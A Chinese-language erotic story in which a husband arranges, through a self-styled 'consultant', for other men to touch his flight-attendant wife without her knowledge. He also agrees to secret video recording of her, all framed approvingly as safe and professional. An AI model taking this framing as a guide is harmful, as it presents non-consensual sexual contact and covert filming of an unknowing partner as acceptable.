图片载入中

非一般的色文 – 深层意识的欲望

特大字】 【大字】 【中字】 【小字

在故事的一开始,我应该先说说我自己,和我的妻子:雅娴。

我姓安,叫文化,昵称阿化。职业就不提了,反正是一份最普通的工作,没什么好说的。倒是我的妻子雅娴,她的职业是某个知名航空公司的空中小姐,由此就可以知道,雅娴的长相真的没话说,身材更是在水准之上。

对我而言,有个空中小姐的老婆,刚开始也许会像大多数的男人一样,在心里一边做爱一边意淫。但是时间久了之后,空中小姐这份职业,反而让我很不喜欢。

雅娴上班的时间不固定,常常不在家,甚至想到我美丽的妻子居然要在飞机上为别人服务,就让我很不高兴。她是我的,不是应该只为我服务吗?所有事件的一开始,是由于一张黑色的名片。

我已经不记得这张名片是怎么到我手里的了,好像是哪个朋友在一次宴会里无意中塞给我的。反正当我发现这张名片的时候,是在整理一些无用名片的时候发现的,所以根本不记得了。

不过这不重要,重要的是,当我看到名片上写着:“深层欲望的冒险”时,我居然不晓得为了什么,竟真的打了那个电话。我想,也许那天是老婆飞美国线的第三天,又是我自己在家,心情实在很不好的原因吧!

就在我心里以为,这也许只是一张提供情色服务的广告时,电话的另一端竟响起了一个低沉的男声。

“喔,真抱歉,我不晓得从哪里拿到了你的名片,所以打电话问问……”一听不是女人,我连忙这么解释着。

“请问,你是哪一位?”那个男的很客气,应该是有修养的人,这让我心安了些。

报上了姓名之后,那个男声沉默了一会儿,接着以歉然的语气说:“真是不好意思,我们只为特定而且熟悉的人作服务,我不知道您是哪一位,所以……”听他要挂电话的样子,我忍不住反射性地问:“你那里是应召站吗?”如果真的是,那么,干脆我也叫个小姐……我的心里似乎有种想要报复老婆的念头。没想到,那人哈哈地笑了:“我想,到底是谁给了你我的名片,你应该是不记得了吧?”

我也干笑了两声承认。然后,那个男人沉默了一会儿,才说:“这样吧,我问你几个简单的问题,如果你愿意坦白地回答我,那么我们就可以再进一步地谈谈。如果你不愿意,那么就当作你打错了电话,一切都没发生,好吗?”我想了想,反正现在也没有什么事,就同意了。

接着,他问了我几个问题,如从事什么工作啦、上班的时间啦、哪一家公司啦、家里有些什么人啦等等,一直问到我结婚了没有时,那人停止了问题。“安先生,真的很抱歉,对于已经有家庭的人,我们一般都是不服务的。”他有点抱歉地这么说。

这让我有些好奇,有家庭的人不服务?看来这人经营的应该不是应召站。“坦白说,你的名片真的是我某个朋友给我的,我并不是警察,真的……”对于我的解释,那人还是哈哈一笑:“你误会了,安先生,我从事的并不是任何违法行业。如果你真的是警察来钓应召业者的话,那么我反而要劝你别浪费你我的时间,去找别人吧!”

不是违法行业?那为什么搞得那么神秘?这让我心里更加地好奇:“那么,你们是做什么的呢?”

那人停顿了一下,才说:“就像你在名片上看到的,我帮助你探索心中真正欲望的极限。”

“真正欲望的极限?”我还是忍不住质疑了一下:“这听起来,真的很像应召站的广告词……”

那人并不生气,只是淡淡地回答:“事实上,我们不是。相反的,这欲望的对象,通常就是你的女朋友……或者是老婆。”

“我的老婆?”我更觉得惊讶了。

“安先生,你确定要继续问下去吗?”那人似乎已经有了挂电话的意思。正常来说,我也应该挂电话了。不过,我的心里却有一种探索下去的冲动,于是,我回答:“坦白说,我真的有点好奇,所以,如果你不觉得麻烦,可以告诉我多一点你们的服务内容吗?”

“好吧!”那人终于也同意了:“可是,为了省掉许多麻烦,无论我们以后有没有机会为你服务,我希望谈话中你能真正的坦诚,为了我们也为了你自己,好吗?”

我同意,于是他继续说:“安先生,你的妻子漂亮吗?”

我肯定地回答,他又问:“那么,你们结婚多久了?”

“快三年了。”

“结婚快三年之后,你觉得,你的老婆还是像以前一样地美丽动人吗?”我想了想,还是肯定地说:“我太太是空姐,我觉得她现在仍然很漂亮。”“不,你误会我的问题了。”那人解释着:“我的意思是说,经过了三年之后,你觉得你的妻子,还是像以前那样吸引你的注意力?还是像以前那样带给你做爱的冲动吗?”

我犹豫了一下,坦白地说:“这……当然没办法和以前相比了,不过,这不是很正常吗?”

“很正常,不这样才不正常。”那人显然对我坦诚的态度很满意:“无论你的妻子长得有多美丽,就算是超过一般人的明星也一样,一旦彼此熟悉得久了,在一起久了,你对她的动心程度和冲动程度,都很难再像以前一样的,这是人类的天性。”

对他这样的说法,我无法不同意:“虽然我老婆还没有美到超凡的程度,但我也相信,这种天性是无法避免的。”

然而,听我这么一说,那人反而回答:“不,安先生,你错了。这是可以避免的。”

“可以避免的?”我不明白。

“是的。这么说吧,对再美丽或英俊的伴侣,只要熟悉了,新鲜感一去,隐藏的缺点一暴露,加上时间一久,对伴侣的热情绝对会减退。这是无法避免的,就像人无法避免老化一样。有很多热火朝天的热情,最后还是以分手告终,这种天性占了很大的原因。即使有些情侣,最后变成了夫妇,婚姻也继续维持着,甚至生了小孩,表面上看起来很美满。实际上,夫妻之间的这种感情,很大一部分已经褪去了冲动,转化成了亲情,甚至是一种习惯,不再是当初那一见面就想上床的情火了。你说对吗?”

仔细地想了想,我不得不同意。时间一久的婚姻关系,就算是再美满,都不得不承认其中的热情已经不在。可是,他说这些岂不是和之前的说法矛盾了?似乎明白我心中的质疑,那人很平静地说:“先别急,你会明白我的意思和我是做什么的。你还记得当初你和你的爱人结婚时,那场婚礼上的誓词吗?”“誓词?”

“喔,没有誓词也没关系,婚礼象征性的意思都是一样的。”他继续说明:“婚姻是一种承诺。简单说,就是承诺要永远对对方好,永远和对方在一起。至少这一辈子,是吧?”

“是的。”

“可是,要永远对你的妻子好,永远只对她有兴趣,不能对她不忠,不可以和其他的女人做爱或甚至最好别对其他的女人有兴趣。对吧?”

“是的。”

“那么,这样的要求和我们刚才说的那种天性,岂不是完全违背了?多少最后分开的夫妻,就是主要肇因于这个违反天性的要求?”那人说得很感叹:“所以,有人说,婚姻实际上是一场酷刑,就是这个意思。”

我想起我和雅娴的婚姻。到现在为止,虽然还称不上“酷刑”,不过看看自己孤独在家的情况,似乎还真有点往“酷刑”方向发展的趋势。也许,到最后我真的受不了时,终究会不会像其他人那样,最后以“两人不适合”而分开呢?想到这里,我忍不住问:“先生,你刚才不是说可以避免吗?”

“是的,至少在你对你美丽的妻子情火大幅降低的现象上,我能够提供一个服务来避免,重新激起你对她的欲望和热情。”那人又加了个补充:“但是先说清楚,所谓的避免,是指你对女友或妻子渐失的欲望,至于你们两个人生活相处上的问题,是不包括在内的。”

“你能让我对我老婆的欲望重新燃起?你刚才说,这不是天性吗?”我忍不住怀疑。

“是的,很多时候要达到目的,只需要稍微换个角度就可以了……”他忽然换了个问题:“你有没有在网路上看过一些分享伴侣的文章?或者甚至是一些在想像中凌辱女友或妻子的虚构小说?”

不得不承认,我确实看过,而且对其中的描述还很兴奋,甚至对雅娴也曾经幻想过。

“这个嘛……”我有点不好意思说。

“不用觉得困窘,这是很常见的一种欲望。对于这种性幻想,早就有人研究过了,所以你无需觉得有罪恶感。”

“好吧,我承认,我也曾经有过这种性幻想。”

“那么,你有过这种性幻想,也知道这种性幻想会重新燃起你对妻子熊熊的欲火……为什么你不去真的做呢?”

“真的做?”我反射性地摇头:“怎么可能?想想可以,真的做?我还要不要我的婚姻啊?”

“所以,对于这种性幻想,你不可能去做的原因是……你担心你的婚姻受到影响?”

“当然不止这些啦……”我想了想,又说:“会出问题的原因很多,真的做的话我要找谁?安不安全?会不会有后遗症?老婆同不同意等等。还有,最重要的,如果我真的做了,第一个因为嫉妒而发疯的,恐怕就是我自己了……”“别急,安先生,我们一个一个来看。就先说你自己好了,你说的嫉妒,是指另一个男人和你老婆做爱吗?”

“当然啦,我也许有这样的性幻想,但是,我恐怕无法忍受另一个男人和我老婆真的做爱,那样的话我可能会发疯!”

“放心吧,发现妻子红杏出墙的多了,你也许会拿刀杀了那个男人而导致入狱,但是发疯……是不大容易的。”那人哈哈一笑,又问:“如果,另一个男人并不是和你的老婆做爱呢?”

“不是做爱?”我狐疑地反问:“你的意思是……”

“我是说,如果有另一个男人,只是对你老婆有些侵犯或是亲密的行为,不严重,也不是做爱,那么你会那么嫉妒吗?”

我在脑子了想像了一下,才有些迟疑地回答:“如果不做爱的话,当然没那么嫉妒了。可是,这样好像……”

“其实你不用怀疑。在很多人的想像中,另一个男人对女友或者妻子所作的行为,并非都是做爱。有些人只是想像一下另一个男人看到自己女友裙子里的内裤,就会非常兴奋了。网路上关于暴露女友的文章很多,有些文笔很不错,将自己的这个小小欲望写得很清楚,你有空可以看看就知道了。”

“哦,这样的文章我也看过……”暴露女友的文章,可是很有名的呢!“那么,如果有男人看到了你老婆的内裤,你会兴奋吗?”

我考虑了一下,承认。只是,那种兴奋的程度,好像没那么强烈。

“那么,如果是看到胸部呢?看到裸体呢?暴露的程度不同,兴奋的程度就不同吧?”

“嗯,确实是这样。”

“所以,安先生,你明白了吗?如果另一个男人和你的老婆做爱,你觉得受不了,但还是有其它的情况,是你比较能够接受,而又能够让你兴奋的。”那人的话题又拉了回来:“解决了你自己无法接受的情况之后,再来说,对于刚才提的性幻想,我并不建议你在网路上随便找个人来参与。事实上,那是很不明智的做法。如果有一天你真的想尝试看看时,最好要找绝对不会给你找麻烦、也不会有任何后遗症的对象。这就是我的工作,我帮助你,以精确的方式,控制你的欲望,让你和你的伴侣重新寻回冲动与热情。”

“喔,原来是这样啊!”听他说到这里,我总算弄明白这人是干什么的了:“听起来,你怎么好像是某种治疗师的样子?”

“我有说我不是吗?不过事实上,这还不能算是什么治疗,严格而言,将我的服务定位在‘谘询’上会更适当。”那人沉默了一阵子,又问:“安先生,你还想继续谈下去吗?”

理解了他的工作之后,我更加好奇了。内心深层欲望的探索?还能让失去的情火再度重燃?我确实很有兴趣。

“既然如此,那么我重新自我介绍一下,我姓师,你可以昵称我老‘师’,或是客气一点叫我‘师’兄……都无所谓。”

“噗!”不是吧?这算是笑话吗?

“开玩笑的,你可以叫我的英文名字Robin,或阿师。某种程度上,我可以算是一位谘询顾问,只不过我主要锁定的服务项目,对大部分的人来说有点敏感,所以我只为真的有心这么做,而且已经熟悉到某种程度的朋友们服务,并没有公开营业,而且也不适合。”

阿师说到这里,重新提起了之前的话题:“你大概明白我是做什么的之后就会了解,因为我的服务是收费的,而且并不便宜。因此,在实现你深层欲望的同时,你不用担心会有麻烦,会牵扯不清,甚至影响到你的任何方面。我的出现,就是以服务你的需求为最首要目标,没有其它的了。

你可以在网路上轻易地找到免费来侵犯你老婆的人,但是你敢找吗?免费而来的人,谁知道他心中的欲望是什么?但是我不一样,对我来说,你就是我的一个愿意服务的客户。我很清楚,对于你的性幻想,你的女友虽是对象,但真正关键的并不是她,而是你。

再进一步说,对于这种性幻想欲望的实践与尝试,牵涉到很复杂的心理状态和步骤,如果在网路上找人,对这方面的知识、经验与技巧不足,很可能会变成一段糟糕至极的经验,甚至闹得你家破人散。

这种例子也许写成文章的不多,但却是真实的情况。为了你的安全和目前感情的稳定,这种事别轻易尝试。但假如你真的想试试这种非常特殊的刺激体验,我希望你能找个专业一点的人,我这么说你明白了吗?”

“我明白了。不过,这事……还有我老婆呢!”我依旧无法决定找他。“我的客户共有三种,一种是男的,一种是女的,另一种是男女双方都愿意的。你如果不放心,可以先不让你老婆知道。”

我听得吓了一跳:“还有女的?”

“当然了。你不会以为只有男人才会有那种深层的性幻想吧?”阿师的语气显得很平常:“也许你不信,但是有不少女人,确实是有被侵犯、被凌辱等阴暗欲望的。我有些女性的客户,甚至只有在幻想他先生在和另外一个妓女做爱时,才能达到最激烈的高潮……人类的深层心理,是非常复杂而又不可预测的。并不是表面上这么简单,或光靠道德感就真的能控制的。由于女性在社会上道德感的定位更严厉,这种深层的欲望几乎找不到出口,因此,你恐怕不相信,我女性客户的数量并不比男性少。”

坦白说,我很难想像雅娴会有什么阴暗的深层欲望,不过,这不重要:“阿师先生,你那些单纯的男客户,是怎么样情况?”

“就是想满足一下女友被另外一个男人侵犯的刺激欲望,但是又怕伴侣不答应,所以只能暗中偷偷进行的客户喽!”阿师解释着:“如果你从来没有和太太谈过这方面的问题,我建议你先从这种开始。等到你真的发现这种方式确实让你有完全不一样的刺激感,也觉得能让你更爱你的伴侣,更丰富你们之间的性爱经验之后,再让她参与也不迟。”

“真的会有女性的伴侣答应吗?”我很好奇。

“当然了,而且很多。如果让女性发现,这种经验会让先生对她产生疯狂的欲望与冲动,有什么理由阻止?又不是让她和另一个男人发生关系。而且我对这种刺激体验的进展程度是控制得非常谨慎的,所以不会有什么不能接受的情况出现……”

阿师停顿了一下,说:“不过,如果你的伴侣是一位外在行为表现上道德感特别强的人,或是你们之间很少私密沟通的话,我建议你别轻易告诉她,这说不定会让她认为你很变态。”

我愣了愣,很不幸的,雅娴似乎就是这样的一个人。不过,他的话中似乎有话:“阿师先生,你特别说‘外在行为表现’和‘私密沟通’,是什么意思?”“外在表现的道德感和批判性特别强的人,就算是她心中真的有这种深层欲望,但基于她的道德批判标准,她是绝对不会答应这种尝试的,因为,这会让她也变成了变态的一分子。而很少私密沟通的伴侣,感情早就已经开始渐渐变质,作这种尝试没什么意义。毕竟尝试这种事的目的有二,一是能让自己的欲望变成现实,体验以前没有过的经历。但最重要的是,若能以这种方式,增加两人彼此之间的欲望指数,就更好了。”

阿师想了想,又说:“你可以做个试验,想像一下你将心中最变态的性幻想告知伴侣的情形。如果一对情侣,真的可以分享彼此心中最说不出口的性幻想内容,那么,他们的沟通值和亲密度,绝对都是很高的,这样的感情不容易,要好好珍惜。”

我想了想,不由得苦笑了一下,我很难想像和雅娴说出我的性幻想,会是什么场景。

“阿师先生,那如果说不出口呢?”

“那你最好警惕一下,你们之间的沟通度和亲密度,很可能没你想像中那么好。”

我不甘心:“这种测试准吗?”

“无所谓准不准,就算你不信不试,也无所谓,因为这并不能改变什么。不过,你只要想想,如果你敢把心中这种让人不好意思的欲望告诉她,而她也愿意听,也愿意继续爱你,那么,你们之间的沟通值和亲密值会低到哪里去?心里若真的有某种难以启齿的性幻想,一种是敢和伴侣说,一种是不敢也说不出口,哪种感情会好些?”

我无话可说,只好回答:“好吧,那么我选择当你第一种客户吧!”

“先别决定得这么快……”阿师先生反而拦住了我:“我们约个时间,见个面吧!你至少先认识我,我也认识了你之后,再决定要不要进行下去。如果一切没问题,我会带一份谘询契约给你看看。”

“谘询契约?”我吃了一惊:“还要签契约?”

“这只是一份形式而已,不签也可以。在最理想的情况下,我必须保证不造成你的困扰或是泄密,你必须按照进度付费等等,还有就是要让你了解,为了你和我的方便与安全,有些什么项目,有些什么规则,最重要的,有些什么忌讳。这些都是要先讲清楚的。”

“这么复杂?”我难以置信。

“这种事,其实就是最私密,而且不能公开的一种谘询行为,同时也牵涉到了内心最深层的欲望,当然复杂了。别忘了,我可是很专业的。”

“那么……”我犹豫了一下:“我要带我太太的照片吗?”

阿师哈哈地笑了:“你好像忘了吧?你是我的客户,而我是你的顾问,你的伴侣长什么样子,并不重要。我也不是网路上那些想满足自己欲望的人,所以你并不用带什么照片了。”

“哦,我明白了。”

挂掉电话之前,阿师作了个总结:“在你单方面的进行重点中,重点就是你自己,而这也是对你自己真正的深层欲望,一种探索的开始。占有某样珍爱的东西,固然是人类的天性,但是,和其他人分享自己珍爱的东西,甚至让其他人感受一下其中的珍贵之处,也是人类的天性。和‘疼痛’一样,如果经适当而又精确地控制,‘嫉妒’也可以是一种快感。

对于你的爱人,失去了新鲜与好奇的动力,会渐渐丧失兴趣,这是天性。可是,藉着巧妙的心理替代牵引,欲望和情火是可以重新燃起的。甚至,那将会是一种完全不同的体验,这就是我所谓‘深层欲望的冒险’。

由于我们这次的谈话,你是无意中打电话给我的,所以你可以再考虑一下,如果你改变了主意,就忘了这次的谈话吧!若是你真的想尝试看看,再打电话或给我个电子信件,我名片上的电子信箱是美国奇摩的,你可以和我约个时间见面再谈。”

挂上电话之后,阿师先生的话语,就像个回音机一样,不停片片断断地在我脑中盘旋着……

难道,真的有人提供这样的服务?而且,感觉起来还这么专业?

我不得不承认,阿师先生的话,就像是放进我心中的一个潘朵拉盒子,来来回回地,我只想到了一个场景……

我的爱妻正在激烈地做爱,高潮地尖叫着……但是那个男人,却不是我! ***

***

***

***

三天之后,雅娴回来了。当天晚上我和她做爱时,脑中不由自主地浮现着另一个画面……

这让我好兴奋!那天晚上,我总共射了三次。

结束之后,雅娴整个人缠在我身上,在我耳朵旁边吃吃地笑着:“亲爱的,你今天怎么了?这么凶!看来我应该和同事多换换,接几趟国外的长途班。”我能说什么呢?我敢把这件事告诉她吗?答案毫无疑问地,是“不敢”!这么说来,从阿师说的那个实验中,我们的沟通度和亲密度,所得的分数并不高。这可能吗?我们不是一直很幸福吗?他说的到底是不是真的?

别的不谈,至少,我心中清楚地知道,在和阿师先生的这番电话交谈之后,那种要和别人分享爱妻的感觉,竟一下子清晰了起来……那些网路上好像离我很遥远的故事,忽然变得离我好近!

本来,看那些分享伴侣的小说时,偶尔也会想像一下,将文章中的女主角换成雅娴。但是过了之后,我也就将这种想法抛到了脑后。因为我知道,这种事不可能发生在我身上的。

但是,自从和阿师先生谈过之后,心中那个潘朵拉的盒子开始发酵……真的有人在做这种事!而且,听起来似乎还很安全……那不可能的事,忽然间变成了可能的事实。

我无法不去想像,要是这种事真的发生在雅娴的身上。那……喔!天啊!这种感觉实在太刺激了,就像是锋利的刀片那般,给我一种割进皮肤、毛骨悚然的快感。

一切都变得不一样了。本来离我很远的性幻想,只不过是靠近了我一些,让我的心里真的感觉到了它存在的可能而已,就和以前那种摸不着边的虚幻感觉,完全不一样。

还没真的实行,就这么刺激了,要是真的去做,那会怎么样?

于是,一个星期之后,我终于忍不住,再次打电话给阿师先生。

“阿师先生,我已经决定了,我要跟你见面!”我没绕什么圈子,直接这么说。阿师先生也不啰嗦,直接和我约了第二天下午见面。

当天晚上,我又和雅娴连做了三次爱,再次炮连三响。每当想到我真的就要实现自己潜藏的欲望时,几乎是无法克制的兴奋,我看她都快真的以为,我是因为她第二天又要飞国外线而变得这么热情。

第二天,在相约的一个咖啡店里,我终于见到了阿师先生。

他是一位年约三、四十岁的男士,衣着得体而考究,戴着一副细边的眼镜,手里提着一个休闲式的包包,感觉上就像是一位刚去运动的绅士。他的年纪并不出乎我的意料之外,毕竟,照他话里所说的专业程度,那并不像是一个年轻人的经验所能理解的。

我向他打了个招唿,想说话,却一下子因为尴尬而开不了口。毕竟,在电话里和真人面前,那是完全不同的感觉。

好在,阿师先生似乎也知道我心中的感受,对我微微一笑,主动地伸出了右手:“安先生,很高兴认识你。不用觉得尴尬,你就把我当成真的是你的顾问就行了。”

他的话让我心中松了口气,态度也变得自然了些:“真不好意思,我以前从来没做过这种事。”

“其实你不用这么在意,很多隐藏在心底的事情,当你真的坦然面对时,就会发现其实也没这么可怕。”他坐下之后,看了看我,似乎是为了去除两人之间的那种陌生感,再次主动地说:“为了让你更自在一点,我先说一下自己吧!好吗?”

我点点头,于是阿师先生开始简单地介绍了一下他自己。

他说了一会儿之后,我才发现,原来,他以前竟真的是一位心理谘询师,难怪给人一种很不一样的专业感觉。

“不好意思,阿师先生,我可以问问,为什么你会从事这个……呃,这个行业吗?”在他说了一阵话,我则在越来越放松的情况下,终于忍不住开始开口问问题了。

“如我刚才所说的,我学的是心理学,曾经想当一位精神科医师。”阿师先生笑着耸耸肩:“但是,后来我却发现,我所接触当精神科医师的朋友中,大部分的人自己的精神状态似乎也有点怪怪的,于是,我就放弃了这个念头……就像大家常说的那个笑话一样,如果一位治疯子的医师自己不疯,又怎么知道疯子是什么感觉?”

微笑中,我觉得自己更加轻松了:“所以,后来你转到了心理谘商?”“是的。”阿师先生师点点头,表情有点无奈:“但是,后来我又发现,常常听人倒垃圾的人,最后心里头装的,居然大部分都是别人的垃圾!所以,我就换成了现在的这一个行业。因为我发现,在帮助别人充满动力的同时,我自己也会变得充满动力。”

“不好意思,您结婚了吗?”我又问。

“有过一段时间不短的婚姻,但后来我明白,独身才是最适合我的状态。所以,现在的我是一位独身主义者。”

我和他又聊了一会儿,渐渐觉得好像不再那么陌生了。

阿师先生伸手拍拍我的手臂,态度很温和:“怎么样?感觉好点了吗?我们可以谈了吗?”

我点点头。

“首先,我想你应该察觉到了,当你和我在电话中谈过之后,你的那种幻想是不是忽然间感觉变得真实了起来?”

我又点头。这一段时间的体会,一点也没错。

“其实,你的这种好像真实的感觉,并不是真的,它依旧只是幻觉。”阿师先生的话语与态度,果然真的像是一位谘询师,这让我觉得心安:“你要知道,如果我们真的执行了我们的计划,也就是说,如果我们真的来真的,那么那种刺激的感觉,还会更强烈许多。保守估计,至少会比你在想像时的感觉,更加强烈十倍以上。”

我不大明白:“你这么说是指……”

“我的意思是指,因为这种真实的刺激,比想像中大得多了。所以,原本你想像中还能接受的情况,其实在真正实现时,你并不一定能马上接受得了。”阿师先生看我依旧不大明白的样子,更进一步地说明:“举个例子。如果看着另一个男人与你的伴侣做爱,你能接受的困难度指数是十,而让另一个男人看到你伴侣的裸体,指数如果是五……你以为你能接受五,但事实上,真的付诸实现时,你恐怕不一定能马上接受。”

我不由得有些愕然:“那么,你的意思是……”

“如果你愿意听听我的建议,我建议你的这种幻想,在实现时先从最简单,也就是最没那么刺激、指数最低的初阶等级开始。”阿师先生又诚恳地说:“当然了,这最后的决定权,还是在你。如果你愿意试试,从指数稍高一点的情景开始也无妨。不过在我的立场,事先对你说明一下却是必要的。”

听起来好像确实是这样的,于是我点头同意。

“你不用担心有那些场景,这些我都会一一向你说明。你只要先了解,这种幻想一旦变成了真的,对你心理上的冲击,完全是你以前的‘想像情况’所不能比拟的。我们必须很谨慎地处理你心中真正能接受幻想变成现实的等级,免得刺激太大,会直接使得你对伴侣的感情出现不可预期的变化。毕竟,我希望你除了能够得到不灭的情火之外,对伴侣的热情也能够越来越好。我绝对不希望你一下玩得过火,最后使得你对伴侣的感情破裂而不可弥补。”

看他这么郑重其事,我反而觉得更加安心。

“接下来,这是我的收费标准,请你参考一下。”他拿出了一张表递给我。我看了一下,发现他的收费并没有我想像中那么高,和一般的谘询费也差不了多少。当然,也绝对称不上便宜,不过我还能接受。

“阿师先生,”看着收费表,我发现了一个疑问:“你这张表上,好像没有包括我们这次的谈话呀,难道我们这次算免费吗?”

阿师先生有点尴尬地笑了笑:“坦白说,我的这种谘询服务,其实是非常私密的。通常我不做没有介绍人介绍的客户,就是避免白谈的麻烦,最后浪费你我的时间。所以,我一般的收费原则,都是以真正开始有了实际行动之后才开始收费的。不过,有了你的例子之后,我也许会参考一下我所花费的时间,定出一个价格。因此,我们这次的谈话算是免费。”

阿师先生的态度,除了真的给我蛮专业的感觉之外,倒更让我觉得是一位坦诚的朋友。

“好吧,那么我们就从下次开始算钱。接下来呢?”

“接下来,这是一份契约书,也可以算是一份说明书,请你看看……”阿师先生又拿出了一份资料,递给我,让我开始阅读。

契约的封面,写的居然是“热情不灭谘询计划委托合约书”,里面说明了一些条款。

简单的说,这份契约对我来说,他保证他所经历的一切都要保密,绝对不透露给别人,也绝对不在非我同意的情况下与我接触,或主动与我的伴侣接触,总归来讲,就是保证他不会给我带来任何麻烦,或是任何我不希望看见的牵扯。对他来说,我则保证准时付款,承认他在谘询计划里的一切所为,都是他为我进行的劳务服务,也简单地说,就是让我也不会找他的麻烦。

在双方同意的罚则里,是一笔巨大金额的违约罚金。

“这份契约一定要签吗?如果真的违反了,难道还要打官司不成?”我忍不住好奇地问。

“一般来说,为了你,为了我,我会希望能够签这个合约书。”阿师先生肯定地表示:“但是坦白说,为了这种私密至极的事,恐怕真正到最后以诉讼要求赔偿,对谁都很不恰当。因此,这份契约的约束力并没有想像中那么大。不过,这总是一种态度,也是一种最至少的保障。”

“那么,你有没有客户只要你提供服务,却不愿意签这种契约的呢?”我更进一步地问。

“当然有。”阿师先生并不忌讳谈这个:“我有些客户,是非常有名的人,这种契约一旦他签了名,对他就是一种潜在的威胁,所以,他们根本就不愿意留下任何记录,连影片或照片都不愿意留下,更别说亲笔同意的合约了。”“影片或照片?”我有点惊讶。

“是的,为了节省你我的时间,同时也让这种实现幻想的效果能够持久,我会建议你在这个过程中留下一份记录,以后你有需要的时候,可以直接看影片或是照片就可以了。当然,如果你不想留下任何记录也是可以的。”

“这……留下这种记录,要是被我老婆发现……”

“所以,对于另外一半的伴侣并不知情的客户,我们会特别提醒他要将这份记录谨慎收藏好。最好是放在一大堆的成人资料之中,也免得被伴侣发现时,造成困扰。”阿师先生详细地解释着:“当然,对于伴侣并不知情的客户,我所拍摄的记录,会特别避开那位伴侣的脸孔,这样一来,除了客户自己,谁也不晓得片子里的对象是谁。原则上来说,我会尽量让这份资料所造成的激情效果达到最高,而负面影响降到最低。”

听他解释得这么周全,我不禁更想知道,他所设计的那些“场景”,到底是些什么内容了。

如果,我的雅娴真的和另一个男人做爱,而且还拍成了影片……哎呀,先不提我受得了受不了,光这么想想就让我兴奋了。

“这……这份资料,不会外流吧?”我忽然想到了这个问题。

“当然不会,原则上,我会使用你的器材,等到事件结束之后,由你直接带走。如果是使用我的器材,事件之后,我会立刻转到随身碟或记忆卡里给你,然后在你面前删掉所有资料。”

讲到这种程度,坦白说,我几乎已经感到非常心安了。

果然还真的有人在做这种服务啊……而且已经算是非常专业了。这位阿师先生,是不是天才我不晓得,但他绝对称得上是一位怪才。

为了让自己更加心安,我签了那份合同,记录的选项也选择了影片。反正刚开始不会有太变态的情景,加上阿师先生的细心,我觉得应该没什么问题。“接着,我们来决定执行者。”

“执行者?这是指……”

“两个选择,第一,你是不是决定由我来进行?如果你希望由其他人,那么你希望他是男人还是女人?年纪多大?有什么特别的条件?”

“这……也能选?”说实话,我真的有点瞠目结舌。

“当然能了。”阿师先生点头,但随即补充:“不过,我是有请几位信得过也有意愿的客户来当我的助手,但是否能够满足你所希望的条件,却不是我能够保证的。”

“你的客户来当你的助手?”我更加惊讶。

“是的,别惊讶。等你和我的关系更加深入一点之后,你就会发现,我们其实都属于某个极为特别、有着相同深沉欲望,和极端分享经验的族群。认识久了之后,也会很自然地形成一个团体,而且是个非常特殊、彼此之间极为信任的秘密团体。到了那个时候,如果有特别的案子,我也会请你帮忙,如果你和客户都愿意,你也可以变成另外一个我。”

变成另外一个阿师先生?去侵犯另一个人的女友或是伴侣?想到这里,我不禁又兴奋了起来,忍不住说:“如果我想加入变成你们的一员,可以吗?”“很抱歉,目前不行。”阿师先生看着我,笑着摇头:“别的不说,就看你现在眼睛放出来的光芒,就已经不适合了。你忘了吗?在我们的这个计划中,客户的需求才是最重要的,并不是你的需求。”

“啊?”我有点讪讪然地笑了,但还是有些不服气:“难道你在和别人女友甚至老婆接触的过程中,都不会兴奋吗?”

“当然会了,我也是男人啊,怎么不会?”阿师先生毫不遮掩,实话实说:“然而,一是我清楚地知道什么东西才是最重要的。二是无论我再怎么兴奋,我也不会破坏规则。三是我这方面的经验很够,知道怎么样循序渐近,控制客户的需求。四是某些突发的情况下,我晓得该怎么处理。你觉得你可以吗?”我只好闭上嘴了。不得不承认,在这种极为特别的领域里,我实在还是个菜鸟。

“这里面最需要技巧的,就是对于深层心理的了解,有了这个,才真正能激发出客户心中的那种激情与欲望。狂欢派对到处都有,杂交得多了,只不过是一场兽性的宴会而已。但是我们所做的不一样,对心中那种超越一般世俗,最深沉欲望的精确控制,才是我们这个团体所追求的。你只有经历得多了之后,才会比较明白要当我的助手,并不是一件容易的事。”

阿师先生看我有点失望,忍不住笑着安慰我:“你也不用太过心急,如我所说,参与到我们这个团体中的人,彼此之间都有着某种非比寻常的信任与亲密,只要你越来越能体会自己心中那种最深沉阴暗的欲望,也就会渐渐明白这是怎么回事了。”

“好吧,我希望以后,真的也能变成你们的一员。”以目前的情况,我只好暂时放下:“关于对象的选择,就是阿师先生你吧!我想,你应该能够让我更信任一点。”

“可以。那么第二个选择就是,你希望只有我一个,还是希望一个以上?”阿师先生看我不懂的样子,马上解释:“你知道的,一个男人和三个男人做这种事,感觉是完全不同的。我想一开始,还是我一个人就可以了,不过在程序上,我必须先对你解释清楚。”

“一个……就行了吧?”我一边回答,一边忍不住幻想起两个男人贴在雅娴的身上,一个吸着她的左乳,一个吸着她的右乳……喔,天啊:“阿师先生,难道你们真的有多人进行的场景吗?”

“怎么会没有呢?”阿师先生依旧回答得很自然:“有些口味比较重的客户就是希望同时有好几个人。”

“你是说像那种多人的换妻聚会吗?”我问。

“当然不是。”阿师先生立刻摇头:“我们是从来不会办那种聚会的。”“为什么?那不应该是最终极的分享体验了吗?”

阿师先生还是摇头:“阿化先生,你把人类那种复杂无比的深层欲望,想得太单一而粗糙了。发呆是坐着不动,入定也是坐着不动,但两者脑部的状态,却是天差地别的。换妻聚会,其实追求的就是新鲜感,重点在别人的老婆。而我们所要实践与尝试的,却是自己与伴侣之间的关系,重点是自己的老婆,这怎么会一样呢?对于那种没有经过精确规划与清晰诉求的换妻聚会,也不过就是另一种杂交大会而已,充满各种不确定因素,说实话,我并不建议你参与。”听他这么解释,我感觉好像真的有点不一样,但真正差别是什么,我一时也还搞不清楚。

“好吧,不谈这个,接下来是……”

“接下来,我们就真正进入正题,讨论一下第一个场景……”阿师先生又拿出了一本厚厚的、宛如相薄般的说明书。恍惚之间,我竟然有一种好像在拍婚纱一样的错觉……这让我有点啼笑皆非。

“场景的选择有两大类,一种是伴侣知情的,一种是不知情的。对你来说,当然是后者了。”阿师指了指拿出来的资料:“在伴侣不知情的场景中,主要就是各种程度不同程度的‘分享’。这也有两类,一是间接的,二是直接的。”“分享”这个词句,用在这里还真的……有点滑稽。如果被一些卫道人士听见,绝对会对这种充满了物化的说法提出抗议的。

“直接是什么?间接又是什么?”我问。

“直接就是我直接接触你伴侣的身体,间接就是指,我并不直接与她接触,而是将重点放在和她相关的东西上。”

“能不能说得更具体一点?”

“这样吧,你看看说明书就会比较清楚了。”阿师先生将那本厚厚的相薄递给我。

我翻了一下,顿时有点傻眼了。

